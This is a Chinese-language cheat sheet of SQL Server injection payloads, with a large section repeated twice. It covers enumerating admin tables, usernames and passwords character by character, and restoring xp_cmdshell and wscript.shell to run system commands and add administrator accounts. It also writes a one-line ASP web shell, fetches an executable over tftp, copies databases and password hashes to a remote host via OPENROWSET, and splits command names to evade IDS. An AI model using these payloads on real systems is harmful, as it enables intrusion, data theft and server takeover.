常用SQL注入代码

文章分类:数据库   
//看看是什么权限的   
and 1=(Select IS\_MEMBER('db\_owner'))   
And char(124)%2BCast(IS\_MEMBER('db\_owner') as varchar(1))%2Bchar(124)=1 ;--   
  
//检测是否有读取某数据库的权限   
and 1= (Select HAS\_DBACCESS('master'))   
And char(124)%2BCast(HAS\_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --   
  
  
数字类型   
and char(124)%2Buser%2Bchar(124)=0   
  
字符类型   
' and char(124)%2Buser%2Bchar(124)=0 and ''='   
  
搜索类型   
' and char(124)%2Buser%2Bchar(124)=0 and '%'='   
  
爆用户名   
and user>0   
' and user>0 and ''='   
  
检测是否为SA权限   
and 1=(select IS\_SRVROLEMEMBER('sysadmin'));--   
And char(124)%2BCast(IS\_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --   
  
检测是不是MSSQL数据库   
and exists (select \* from sysobjects);--   
  
检测是否支持多行   
;declare @d int;--   
  
恢复 xp\_cmdshell   
;exec master..dbo.sp\_addextendedproc 'xp\_cmdshell','xplog70.dll';--   
  
  
select \* from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select ｛ＡＴ｝@version')   
  
//-----------------------   
// 执行命令   
//-----------------------   
首先开启沙盘模式：   
exec master..xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG\_DWORD',1   
  
然后利用jet.oledb执行系统命令   
select \* from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')   
  
执行命令   
;DECLARE @shell INT EXEC SP\_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP\_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--   
  
EXEC [master].[dbo].[xp\_cmdshell] 'cmd /c md c:\1111'   
  
判断xp\_cmdshell扩展存储过程是否存在：   
<http://192.168.1.5/display.asp?keyno=188> and 1=(Select count(\*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp\_cmdshell')   
  
写注册表   
exec master..xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG\_DWORD',1   
  
REG\_SZ   
  
读注册表   
exec master..xp\_regread 'HKEY\_LOCAL\_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'   
  
读取目录内容   
exec master..xp\_dirtree 'c:\winnt\system32\',1,1   
  
  
数据库备份   
backup database pubs to disk = 'c:\123.bak'   
  
//爆出长度   
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99\_Tmp)=0 ;--   
  
  
  
更改sa口令方法：用sql综合利用工具连接后，执行命令：   
exec sp\_password NULL,'新密码','sa'   
  
添加和删除一个SA权限的用户test：   
exec master.dbo.sp\_addlogin test,ptlove   
exec master.dbo.sp\_addsrvrolemember test,sysadmin   
  
删除扩展存储过过程xp\_cmdshell的语句:   
exec sp\_dropextendedproc 'xp\_cmdshell'   
  
添加扩展存储过过程   
EXEC [master]..sp\_addextendedproc 'xp\_proxiedadata', 'c:\winnt\system32\sqllog.dll'   
GRANT exec On xp\_proxiedadata TO public   
  
  
停掉或激活某个服务。   
  
exec master..xp\_servicecontrol 'stop','schedule'   
exec master..xp\_servicecontrol 'start','schedule'   
  
dbo.xp\_subdirs   
  
只列某个目录下的子目录。   
xp\_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'   
  
dbo.xp\_makecab   
  
将目标多个档案压缩到某个目标档案之内。   
所有要压缩的档案都可以接在参数列的最后方，以逗号隔开。   
  
dbo.xp\_makecab   
'c:\test.cab','mszip',1,   
'C:\Inetpub\wwwroot\SQLInject\login.asp',   
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'   
  
xp\_terminate\_process   
  
停掉某个执行中的程序，但赋予的参数是 Process ID。   
利用”工作管理员”，透过选单「检视」-「选择字段」勾选 pid，就可以看到每个执行程序的 Process ID   
  
xp\_terminate\_process 2484   
  
xp\_unpackcab   
  
解开压缩档。   
  
xp\_unpackcab 'c:\test.cab','c:\temp',1   
  
  
某机，安装了radmin，密码被修改了，regedit.exe不知道被删除了还是被改名了，net.exe不存在，没有办法使用regedit /e 导入注册文件，但是mssql是sa权限，使用如下命令 EXEC master.dbo.xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG\_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG\_BINARY',0xd20400 则端口值改为1234   
  
create database lcx;   
Create TABLE ku(name nvarchar(256) null);   
Create TABLE biao(id int NULL,name nvarchar(256) null);   
  
//得到数据库名   
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases   
  
  
//在Master中创建表，看看权限怎样   
Create TABLE master..D\_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--   
  
用 sp\_makewebtask直接在web目录里写入一句话马：   
[http://127.0.0.1/dblogin123.asp?usernam ... btask%20'd](http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd):\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--   
  
//更新表内容   
Update films SET kind = 'Dramatic' Where id = 123   
  
//删除内容   
delete from table\_name where Stockid = 3   
SQL注射语句的经典总结   
  
  
SQL注射语句   
  
1.判断有无注入点   
' ; and 1=1 and 1=2   
  
2.猜表一般的表的名称无非是admin adminuser user pass password 等..   
and 0<>(select count(\*) from \*)   
and 0<>(select count(\*) from admin) ---判断是否存在admin这张表   
  
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个   
and 0<(select count(\*) from admin)   
and 1<(select count(\*) from admin)   
  
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.   
and 1=(select count(\*) from admin where len(\*)>0)--   
and 1=(select count(\*) from admin where len(用户字段名称name)>0)   
and 1=(select count(\*) from admin where len(密码字段名称password)>0)   
  
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止   
and 1=(select count(\*) from admin where len(\*)>0)   
and 1=(select count(\*) from admin where len(name)>6) 错误   
and 1=(select count(\*) from admin where len(name)>5) 正确 长度是6   
and 1=(select count(\*) from admin where len(name)=6) 正确   
and 1=(select count(\*) from admin where len(password)>11) 正确   
and 1=(select count(\*) from admin where len(password)>12) 错误 长度是12   
and 1=(select count(\*) from admin where len(password)=12) 正确   
  
6.猜解字符   
and 1=(select count(\*) from admin where left(name,1)='a') ---猜解用户帐号的第一位   
and 1=(select count(\*) from admin where left(name,2)='ab')---猜解用户帐号的第二位   
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了   
  
and 1=(select top 1 count(\*) from Admin where Asc(mid(pass,5,1))=51) --   
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.   
  
看服务器打的补丁=出错了打了SP4补丁   
and 1=(select ｛ＡＴ｝@VERSION)--   
  
看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。   
and 1=(Select IS\_SRVROLEMEMBER('sysadmin'))--   
  
判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）   
and 'sa'=(Select System\_user)--   
and user\_name()='dbo'--   
and 0<>(select user\_name()--   
看xp\_cmdshell是否删除   
  
and 1=(Select count(\*) FROM master.dbo.sysobjects Where xtype = 'X' AND   
name = 'xp\_cmdshell')--   
  
xp\_cmdshell被删除，恢复,支持绝对路径的恢复   
;EXEC master.dbo.sp\_addextendedproc 'xp\_cmdshell','xplog70.dll'--   
;EXEC master.dbo.sp\_addextendedproc   
'xp\_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--   
  
反向PING自己实验   
;use master;declare @s int;exec sp\_oacreate "wscript.shell",@s out;exec   
sp\_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--   
  
加帐号   
;DECLARE @shell INT EXEC SP\_OACreate 'wscript.shell',@shell OUTPUT EXEC   
SP\_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user   
jiaoniang$ 1866574 /add'--   
  
创建一个虚拟目录E盘：   
;declare @o int exec sp\_oacreate 'wscript.shell', @o out exec sp\_oamethod   
@o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"   
-v "e","e：\"'--   
  
访问属性：（配合写入一个webshell）   
declare @o int exec sp\_oacreate 'wscript.shell', @o out exec sp\_oamethod   
@o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a   
w3svc/1/ROOT/e +browse'   
  
爆库 特殊技巧：:%5c='\' 或者把/和\ 修改%5提交   
  
  
如何得到SQLSERVER某个数据库中所有表的表名？   
  
  
--------------------------------------------------------------------------------   
  
用户表：   
select name from sysobjects where xtype = 'U';   
  
系统表：   
select name from sysobjects where xtype = 'S';   
  
所有表：   
select name from sysobjects where xtype = 'S' or xtype = 'U';   
  
--------------------------------------------------------------------------------   
and 0<>(select top 1 paths from newtable)--   
得到库名（从1到5都是系统的id，6以上才可以判断）   
  
and 1=(select name from master.dbo.sysdatabases where dbid=7)--   
and 0<>(select count(\*) from master.dbo.sysdatabases where name>1 and   
dbid=6)   
  
依次提交 dbid = 7,8,9.... 得到更多的数据库名   
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表   
假设为 admin   
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name   
not in ('Admin')) 来得到其他的表。   
and 0<>(select count(\*) from bbs.dbo.sysobjects where xtype='U' and   
name='admin'   
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id   
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)   
得到一个admin的一个字段,假设为 user\_id   
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and   
name not in   
('id',...)) 来暴出其他的字段   
and 0<(select user\_id from BBS.dbo.admin where username>1) 可以得到用户名   
依次可以得到密码。。。。。假设存在user\_id username ,password 等字段   
and 0<>(select count(\*) from master.dbo.sysdatabases where name>1 and   
dbid=6)   
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名   
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name   
not in('Address'))   
and 0<>(select count(\*) from bbs.dbo.sysobjects where xtype='U' and   
name='admin' and uid>(str(id))) 判断id值   
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段   
  
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,\* from admin   
?id=-1 union select 1,2,3,4,5,6,7,8,\*,9,10,11,12,13 from admin   
(union，access也好用)   
得到WEB路径   
;create table [dbo].[swap] ([swappass][char](255));--   
and (select top 1 swappass from swap)=1--   
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare   
@test varchar(20) exec master..xp\_regread @rootkey='HKEY\_LOCAL\_MACHINE',   
@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',   
@value\_name='/', values=@test OUTPUT insert into paths(path)   
values(@test)--   
;use ku1;--   
;create table cmd (str image);-- 建立image类型的表cmd   
存在xp\_cmdshell的测试过程：   
;exec master..xp\_cmdshell 'dir'   
;exec master.dbo.sp\_addlogin jiaoniang$;-- 加SQL帐号   
;exec master.dbo.sp\_password null,jiaoniang$,1866574;--   
;exec master.dbo.sp\_addsrvrolemember jiaoniang$ sysadmin;--   
;exec master.dbo.xp\_cmdshell 'net user jiaoniang$ 1866574 /workstations:\*   
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--   
;exec master.dbo.xp\_cmdshell 'net localgroup administrators jiaoniang$   
/add';--   
exec master..xp\_servicecontrol 'start', 'schedule' 启动服务   
exec master..xp\_servicecontrol 'start', 'server'   
; DECLARE @shell INT EXEC SP\_OACreate 'wscript.shell',@shell OUTPUT EXEC   
SP\_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user   
jiaoniang$ 1866574 /add'   
;DECLARE @shell INT EXEC SP\_OACreate 'wscript.shell',@shell OUTPUT EXEC   
SP\_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net   
localgroup administrators jiaoniang$ /add'   
'; exec master..xp\_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件   
;declare @a sysname set @a='xp\_'+'cmdshell' exec @a 'dir c:\'   
;declare @a sysname set @a='xp'+'\_cm’+’dshell' exec @a 'dir c:\'   
;declare @a;set @a=db\_name();backup database @a to   
disk='你的IP你的共享目录bak.dat'   
如果被限制则可以。   
select \* from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec   
master.dbo.sp\_addlogin hax')   
查询构造：   
Select \* FROM news Where id=... AND topic=... AND .....   
admin'and 1=(select count(\*) from [user] where username='victim' and   
right(left(userpass,01),1)='1') and userpass <>'   
select 123;--   
;use master;--   
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。   
and 1<>(select count(email) from [user]);--   
;update [users] set email=(select top 1 name from sysobjects where   
xtype='u' and status>0) where name='ffff';--   
;update [users] set email=(select top 1 id from sysobjects where xtype='u'   
and name='ad') where name='ffff';--   
';update [users] set email=(select top 1 name from sysobjects where   
xtype='u' and id>581577110) where name='ffff';--   
';update [users] set email=(select top 1 count(id) from password) where   
name='ffff';--   
';update [users] set email=(select top 1 pwd from password where id=2)   
where name='ffff';--   
';update [users] set email=(select top 1 name from password where id=2)   
where name='ffff';--   
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。   
通过查看ffff的用户资料可得第一个用表叫ad   
然后根据表名ad得到这个表的ID 得到第二个表的名字   
insert into users values( 666,   
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),   
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--   
insert into users values( 667,123,123,0xffff)--   
insert into users values ( 123, 'admin''--', 'password', 0xffff)--   
;and user>0   
;and (select count(\*) from sysobjects)>0   
;and (select count(\*) from mysysobjects)>0 //为access数据库   
枚举出数据表名   
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and   
status>0);--   
这是将第一个表名更新到aaa的字段处。   
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>'刚才得到的表名'）。   
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and   
status>0 and name<>'vote');--   
然后id=1552 and exists(select \* from aaa where aaa>5)   
读出第二个表，一个个的读出，直到没有为止。   
读字段是这样：   
;update aaa set aaa=(select top 1 col\_name(object\_id('表名'),1));--   
然后id=152 and exists(select \* from aaa where aaa>5)出错，得到字段名   
;update aaa set aaa=(select top 1 col\_name(object\_id('表名'),2));--   
然后id=152 and exists(select \* from aaa where aaa>5)出错，得到字段名   
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]   
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and   
status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from   
sysobjects where xtype=u and status>0 and name not in('table1','table2',…)   
  
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]   
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]   
update 表名 set 字段=(select top 1 col\_name(object\_id('要查询的数据表名'),字段列如:1) [   
where 条件]   
绕过IDS的检测[使用变量]   
;declare @a sysname set @a='xp\_'+'cmdshell' exec @a 'dir c:\'   
;declare @a sysname set @a='xp'+'\_cm’+’dshell' exec @a 'dir c:\'   
1、 开启远程数据库   
基本语法   
select \* from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',   
'select \* from table1' )   
参数: (1) OLEDB Provider name   
2、 其中连接字符串参数可以是任何端口用来连接,比如   
select \* from OPENROWSET('SQLOLEDB',   
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select \*   
from table'   
3.复制目标主机的整个数据库insert所有远程表到本地表。   
基本语法：   
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',   
'select \* from table1') select \* from table2   
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：   
  
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from table1') select \* from table2   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from \_sysdatabases')   
select \* from master.dbo.sysdatabases   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from \_sysobjects')   
select \* from user\_database.dbo.sysobjects   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from \_syscolumns')   
select \* from user\_database.dbo.syscolumns   
复制数据库：   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from table1') select \* from database..table1   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from table2') select \* from database..table2   
复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：   
insert into OPENROWSET('SQLOLEDB',   
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select \* from   
\_sysxlogins') select \* from database.dbo.sysxlogins   
得到hash之后，就可以进行暴力破解。   
遍历目录的方法： 先创建一个临时表：temp   
';create table temp(id nvarchar(255),num1 nvarchar(255),num2   
nvarchar(255),num3 nvarchar(255));--   
';insert temp exec master.dbo.xp\_availablemedia;-- 获得当前所有驱动器   
';insert into temp(id) exec master.dbo.xp\_subdirs 'c:\';-- 获得子目录列表   
';insert into temp(id,num1) exec master.dbo.xp\_dirtree 'c:\';--   
获得所有子目录的目录树结构,并寸入temp表中   
';insert into temp(id) exec master.dbo.xp\_cmdshell 'type   
c:\web\index.asp';-- 查看某个文件的内容   
';insert into temp(id) exec master.dbo.xp\_cmdshell 'dir c:\';--   
';insert into temp(id) exec master.dbo.xp\_cmdshell 'dir c:\ \*.asp /s/a';--   
  
';insert into temp(id) exec master.dbo.xp\_cmdshell 'cscript   
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'   
';insert into temp(id,num1) exec master.dbo.xp\_dirtree 'c:\';--   
（xp\_dirtree适用权限PUBLIC）   
写入表：   
语句1：and 1=(Select IS\_SRVROLEMEMBER('sysadmin'));--   
语句2：and 1=(Select IS\_SRVROLEMEMBER('serveradmin'));--   
语句3：and 1=(Select IS\_SRVROLEMEMBER('setupadmin'));--   
语句4：and 1=(Select IS\_SRVROLEMEMBER('securityadmin'));--   
语句5：and 1=(Select IS\_SRVROLEMEMBER('securityadmin'));--   
语句6：and 1=(Select IS\_SRVROLEMEMBER('diskadmin'));--   
语句7：and 1=(Select IS\_SRVROLEMEMBER('bulkadmin'));--   
语句8：and 1=(Select IS\_SRVROLEMEMBER('bulkadmin'));--   
语句9：and 1=(Select IS\_MEMBER('db\_owner'));--   
把路径写到表中去：   
;create table dirs(paths varchar(100), id int)--   
;insert dirs exec master.dbo.xp\_dirtree 'c:\'--   
and 0<>(select top 1 paths from dirs)--   
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--   
;create table dirs1(paths varchar(100), id int)--   
;insert dirs exec master.dbo.xp\_dirtree 'e:\web'--   
and 0<>(select top 1 paths from dirs1)--   
把数据库备份到网页目录：下载   
;declare @a sysname; set @a=db\_name();backup database @a to   
disk='e:\web\down.bak';--   
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where   
xtype=char(85)) T order by id desc)   
and 1=(Select Top 1 col\_name(object\_id('USER\_LOGIN'),1) from sysobjects)   
参看相关表。   
and 1=(select user\_id from USER\_LOGIN)   
and 0=(select user from USER\_LOGIN where user>1)   
-=- wscript.shell example -=-   
declare @o int   
exec sp\_oacreate 'wscript.shell', @o out   
exec sp\_oamethod @o, 'run', NULL, 'notepad.exe'   
'; declare @o int exec sp\_oacreate 'wscript.shell', @o out exec   
sp\_oamethod @o, 'run', NULL, 'notepad.exe'--   
declare @o int, @f int, @t int, @ret int   
declare @line varchar(8000)   
exec sp\_oacreate 'scripting.filesystemobject', @o out   
exec sp\_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1   
exec @ret = sp\_oamethod @f, 'readline', @line out   
while( @ret = 0 )   
begin   
print @line   
exec @ret = sp\_oamethod @f, 'readline', @line out   
end   
declare @o int, @f int, @t int, @ret int   
exec sp\_oacreate 'scripting.filesystemobject', @o out   
exec sp\_oamethod @o, 'createtextfile', @f out,   
'c:\inetpub\wwwroot\foo.asp', 1   
exec @ret = sp\_oamethod @f, 'writeline', NULL,   
''   
declare @o int, @ret int   
exec sp\_oacreate 'speech.voicetext', @o out   
exec sp\_oamethod @o, 'register', NULL, 'foo', 'bar'   
exec sp\_oasetproperty @o, 'speed', 150   
exec sp\_oamethod @o, 'speak', NULL, 'all your sequel servers are belong   
to,us', 528   
waitfor delay '00:00:05'   
'; declare @o int, @ret int exec sp\_oacreate 'speech.voicetext', @o out   
exec sp\_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp\_oasetproperty   
@o, 'speed', 150 exec sp\_oamethod @o, 'speak', NULL, 'all your sequel   
servers are belong to us', 528 waitfor delay '00:00:05'--   
xp\_dirtree适用权限PUBLIC   
exec master.dbo.xp\_dirtree 'c:\'   
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。   
create table dirs(paths varchar(100), id int)   
建表，这里建的表是和上面xp\_dirtree相关连，字段相等、类型相同。   
insert dirs exec master.dbo.xp\_dirtree 'c:\'   
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！

//看看是什么权限的   
and 1=(Select IS\_MEMBER('db\_owner'))   
And char(124)%2BCast(IS\_MEMBER('db\_owner') as varchar(1))%2Bchar(124)=1 ;--   
  
//检测是否有读取某数据库的权限   
and 1= (Select HAS\_DBACCESS('master'))   
And char(124)%2BCast(HAS\_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --   
  
  
数字类型   
and char(124)%2Buser%2Bchar(124)=0   
  
字符类型   
' and char(124)%2Buser%2Bchar(124)=0 and ''='   
  
搜索类型   
' and char(124)%2Buser%2Bchar(124)=0 and '%'='   
  
爆用户名   
and user>0   
' and user>0 and ''='   
  
检测是否为SA权限   
and 1=(select IS\_SRVROLEMEMBER('sysadmin'));--   
And char(124)%2BCast(IS\_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --   
  
检测是不是MSSQL数据库   
and exists (select \* from sysobjects);--   
  
检测是否支持多行   
;declare @d int;--   
  
恢复 xp\_cmdshell   
;exec master..dbo.sp\_addextendedproc 'xp\_cmdshell','xplog70.dll';--   
  
  
select \* from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select ｛ＡＴ｝@version')   
  
//-----------------------   
// 执行命令   
//-----------------------   
首先开启沙盘模式：   
exec master..xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG\_DWORD',1   
  
然后利用jet.oledb执行系统命令   
select \* from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')   
  
执行命令   
;DECLARE @shell INT EXEC SP\_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP\_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--   
  
EXEC [master].[dbo].[xp\_cmdshell] 'cmd /c md c:\1111'   
  
判断xp\_cmdshell扩展存储过程是否存在：   
<http://192.168.1.5/display.asp?keyno=188> and 1=(Select count(\*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp\_cmdshell')   
  
写注册表   
exec master..xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG\_DWORD',1   
  
REG\_SZ   
  
读注册表   
exec master..xp\_regread 'HKEY\_LOCAL\_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'   
  
读取目录内容   
exec master..xp\_dirtree 'c:\winnt\system32\',1,1   
  
  
数据库备份   
backup database pubs to disk = 'c:\123.bak'   
  
//爆出长度   
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99\_Tmp)=0 ;--   
  
  
  
更改sa口令方法：用sql综合利用工具连接后，执行命令：   
exec sp\_password NULL,'新密码','sa'   
  
添加和删除一个SA权限的用户test：   
exec master.dbo.sp\_addlogin test,ptlove   
exec master.dbo.sp\_addsrvrolemember test,sysadmin   
  
删除扩展存储过过程xp\_cmdshell的语句:   
exec sp\_dropextendedproc 'xp\_cmdshell'   
  
添加扩展存储过过程   
EXEC [master]..sp\_addextendedproc 'xp\_proxiedadata', 'c:\winnt\system32\sqllog.dll'   
GRANT exec On xp\_proxiedadata TO public   
  
  
停掉或激活某个服务。   
  
exec master..xp\_servicecontrol 'stop','schedule'   
exec master..xp\_servicecontrol 'start','schedule'   
  
dbo.xp\_subdirs   
  
只列某个目录下的子目录。   
xp\_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'   
  
dbo.xp\_makecab   
  
将目标多个档案压缩到某个目标档案之内。   
所有要压缩的档案都可以接在参数列的最后方，以逗号隔开。   
  
dbo.xp\_makecab   
'c:\test.cab','mszip',1,   
'C:\Inetpub\wwwroot\SQLInject\login.asp',   
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'   
  
xp\_terminate\_process   
  
停掉某个执行中的程序，但赋予的参数是 Process ID。   
利用”工作管理员”，透过选单「检视」-「选择字段」勾选 pid，就可以看到每个执行程序的 Process ID   
  
xp\_terminate\_process 2484   
  
xp\_unpackcab   
  
解开压缩档。   
  
xp\_unpackcab 'c:\test.cab','c:\temp',1   
  
  
某机，安装了radmin，密码被修改了，regedit.exe不知道被删除了还是被改名了，net.exe不存在，没有办法使用regedit /e 导入注册文件，但是mssql是sa权限，使用如下命令 EXEC master.dbo.xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG\_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG\_BINARY',0xd20400 则端口值改为1234   
  
create database lcx;   
Create TABLE ku(name nvarchar(256) null);   
Create TABLE biao(id int NULL,name nvarchar(256) null);   
  
//得到数据库名   
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases   
  
  
//在Master中创建表，看看权限怎样   
Create TABLE master..D\_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--   
  
用 sp\_makewebtask直接在web目录里写入一句话马：   
[http://127.0.0.1/dblogin123.asp?usernam ... btask%20'd](http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd):\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--   
  
//更新表内容   
Update films SET kind = 'Dramatic' Where id = 123   
  
//删除内容   
delete from table\_name where Stockid = 3   
SQL注射语句的经典总结   
  
  
SQL注射语句   
  
1.判断有无注入点   
' ; and 1=1 and 1=2   
  
2.猜表一般的表的名称无非是admin adminuser user pass password 等..   
and 0<>(select count(\*) from \*)   
and 0<>(select count(\*) from admin) ---判断是否存在admin这张表   
  
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个   
and 0<(select count(\*) from admin)   
and 1<(select count(\*) from admin)   
  
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.   
and 1=(select count(\*) from admin where len(\*)>0)--   
and 1=(select count(\*) from admin where len(用户字段名称name)>0)   
and 1=(select count(\*) from admin where len(密码字段名称password)>0)   
  
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止   
and 1=(select count(\*) from admin where len(\*)>0)   
and 1=(select count(\*) from admin where len(name)>6) 错误   
and 1=(select count(\*) from admin where len(name)>5) 正确 长度是6   
and 1=(select count(\*) from admin where len(name)=6) 正确   
and 1=(select count(\*) from admin where len(password)>11) 正确   
and 1=(select count(\*) from admin where len(password)>12) 错误 长度是12   
and 1=(select count(\*) from admin where len(password)=12) 正确   
  
6.猜解字符   
and 1=(select count(\*) from admin where left(name,1)='a') ---猜解用户帐号的第一位   
and 1=(select count(\*) from admin where left(name,2)='ab')---猜解用户帐号的第二位   
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了   
  
and 1=(select top 1 count(\*) from Admin where Asc(mid(pass,5,1))=51) --   
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.   
  
看服务器打的补丁=出错了打了SP4补丁   
and 1=(select ｛ＡＴ｝@VERSION)--   
  
